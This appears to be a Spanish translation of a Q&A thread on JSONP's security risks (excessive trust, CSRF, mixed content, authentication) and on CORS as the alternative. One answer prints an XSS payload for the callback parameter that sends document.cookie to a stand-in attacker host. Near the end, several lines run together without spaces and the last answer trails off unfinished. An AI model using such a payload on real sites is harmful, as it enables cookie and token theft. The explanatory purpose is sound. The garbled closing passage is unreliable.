¿Cuáles son los riesgos de seguridad con JSONP ? ¿Es razonable usar JSONP en una nueva aplicación web, desde una perspectiva de seguridad, o es mejor usar un método diferente para los mashups web de origen cruzado?
Si usar JSONP es razonable, ¿qué pasos debo seguir para asegurarme de que lo estoy usando de manera segura? Si es mejor usar otra cosa, ¿qué recomendaría en su lugar? (CORS?)
JSONP es un poco dudoso, desde una perspectiva de seguridad:
Requiere confianza excesiva. Supongamos que tiene una página alojada en a.com y usa JSONP para acceder a los servicios proporcionados por b.org . Esto implica colocar el 100% de confianza en b.org . Si b.org es malicioso o está defectuoso, puede subvertir la seguridad de la página de incrustación y todo el origen de a.com . Este tipo de confianza excesiva es peligrosa desde el punto de vista de la seguridad: hace que su aplicación sea frágil.
Para decirlo de otra manera: JSONP es básicamente un XSS autoinfligido. Sí, está bien, sé que es una característica, no un error, pero aún así ...
Vulnerabilidades de CSRF. Debes recordar defenderte de las vulnerabilidades de CSRF, y con JSONP, eso se complica un poco. El consejo estándar es asegurarse de que solo las solicitudes POST puedan desencadenar un efecto secundario, e incluir un token CSRF en todas las solicitudes POST; pero JSONP implica enviar una solicitud GET para desencadenar un efecto secundario, que no es exactamente la solución más limpia que hayas visto. Así que esto significa que el host que proporciona el servicio JSONP debe recordar verificar los tokens CSRF incluso en las solicitudes GET. Además, requiere un poco de un protocolo complicado para la página de incrustación ( a.com ) para obtener el token CSRF adecuado del servicio JSONP ( b.org ). Se ensucia.
Causa advertencias de contenido mixto. Supongamos que tenemos una página alojada en https://a.com y accede a un servicio JSONP en http://b.org . Entonces esto inevitablemente activará una advertencia de contenido mixto de aspecto aterrador (ya que JSONP implica la carga de un script desde http://b.org ).
La autenticación del usuario se pone fea. Si b.org quiere autenticar al usuario, es difícil hacerlo cuando se usa JSONP. La página de incrustación ( a.com ) primero debe dar de alguna manera al usuario la oportunidad de iniciar sesión en b.org por adelantado, antes de acceder al servicio JSONP de b.org . Ambos sitios necesitan coordinar.
No sé si se debería recomendar a los desarrolladores web que eviten JSONP para nuevas aplicaciones web o no, pero estos aspectos hacen que CORS parezca bastante tentador.
El parámetro de devolución de llamada puede ser un vector XSS
Encontré una respuesta en stackoverflow que filtra la respuesta de devolución de llamada JSONP. Esto es necesario porque el parámetro de devolución de llamada se puede manipular en un ataque XSS que roba tokens CSRF como este:
http://yoursite.com/jsonp.php?callback=(function(){ $(document.body).append('<script type="text/javascript" src="http://badsite.com/?usercookies='+document.cookie+'"></script>');})//LasinyeccionesdeUTF7sonposiblessieljuegodecaracteresnoestáincluido
SielencabezadonoesContent-Type:application/javascript;charset=utf-8,sonposibleslasinyeccionesdeUTF7.
Laseleccióndetipodecontenidopuedetenerunimpacto
Eltipodecontenido
Existe una cierta diferencia de funcionalidad entre lo que se puede hacer en algunos navegadores según el tipo de contenido. Tendré que desenterrar los enlaces de StackOverflow
Lea otras preguntas en las etiquetas web-application ajax json